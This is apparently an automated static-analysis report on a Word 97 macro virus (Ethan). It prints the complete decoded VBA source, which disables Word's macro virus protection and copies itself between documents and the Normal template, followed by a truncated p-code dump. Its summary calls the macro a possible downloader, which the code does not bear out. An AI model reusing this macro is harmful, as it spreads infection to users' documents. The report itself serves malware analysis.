Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 afa203ea62d2956e…

MALICIOUS

Office (OLE)

33.5 KB Created: 1999-09-29 10:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 43e26f7d3e28022082a5bf35efbbfae5 SHA-1: f577af18a0b9a7be1696d456bff461c331d5a2a1 SHA-256: afa203ea62d2956eca1b421652b6129e4a055dc2a120f8e4d4e5856e36f19701
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros, identified by ClamAV as Doc.Trojan.Ethan-1. The Document_Close subroutine within the VBA code appears to search for a constant string 'xyzzy' and attempts to copy code between the active document and the normal template. This behavior is indicative of a downloader or a mechanism to ensure persistence or execution of further stages, though the exact payload is not directly observable.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5724 bytes
SHA-256: bc53fcf72afdef69c02a773b2e2ea7a0d216f775e55cb9c66e83a1f7fc536101
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel
Sub ViewVBCode()
'Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel
End Sub
Private Sub Document_Close()
On Error Resume Next
Const ID = "xyzzy"
Dim hdlskk As Boolean
Dim ijnff, iitgh As Object
Dim zmbbcxx As String
Set ijnff = ActiveDocument.VBProject.VBComponents.Item(1)
Set iitgh = NormalTemplate.VBProject.VBComponents.Item(1)
Options.VirusProtection = False
If (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
If ijnff.codemodule.Find(ID, 1, 1, 10000, 10000) = True Then
hdlskk = NormalTemplate.Saved
zmbbcxx = ijnff.codemodule.Lines(1, ijnff.codemodule.CountOfLines)
iitgh.codemodule.deletelines 1, iitgh.codemodule.CountOfLines
iitgh.codemodule.AddFromString zmbbcxx
If hdlskk = True Then NormalTemplate.Save
End If
If iitgh.codemodule.Find(ID, 1, 1, 10000, 10000) = True And (Mid(ActiveDocument.FullName, 2, 1) = ":" Or ActiveDocument.Saved = False) Then
zmbbcxx = iitgh.codemodule.Lines(1, iitgh.codemodule.CountOfLines)
ijnff.codemodule.deletelines 1, ijnff.codemodule.CountOfLines
ijnff.codemodule.AddFromString zmbbcxx
End If
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/20964adc3ac14c7a995600e6558e6605.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3293 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0060 "Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel"
' Line #1:
' 	FuncDefn (Sub ViewVBCode())
' Line #2:
' 	QuoteRem 0x0000 0x0060 "Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel"
' Line #3:
' 	EndSub 
' Line #4:
' 	FuncDefn (Private Sub Document_Close())
' Line #5:
' 	OnError (Resume Next) 
' Line #6:
' 	Dim (Const) 
' 	LitStr 0x0005 "xyzzy"
' 	VarDefn ID
' Line #7:
' 	Dim 
' 	VarDefn hdlskk (As Boolean)
' Line #8:
' 	Dim 
' 	VarDefn ijnff
' 	VarDefn iitgh (As Object)
' Line #9:
' 	Dim 
' 	VarDefn zmbbcxx (As String)
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ijnff 
' Line #11:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set iitgh 
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #13:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	Paren 
' 	IfBlock 
' Line #14:
' 	Ld ID 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld ijnff 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #15:
' 	Ld NormalTemplate 
' 	MemLd Saved 
' 	St hdlskk 
' Line #16:
' 	LitDI2 0x0001 
' 	Ld ijnff 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld ijnff 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St zmbbcxx 
' Line #17:
' 	LitDI2 0x0001 
' 	Ld iitgh 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld iitgh 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #18:
' 	Ld zmbbcxx 
' 	Ld iitgh 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #19:
' 	Ld hdlskk 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld ID 
' 	LitDI
... (truncated)

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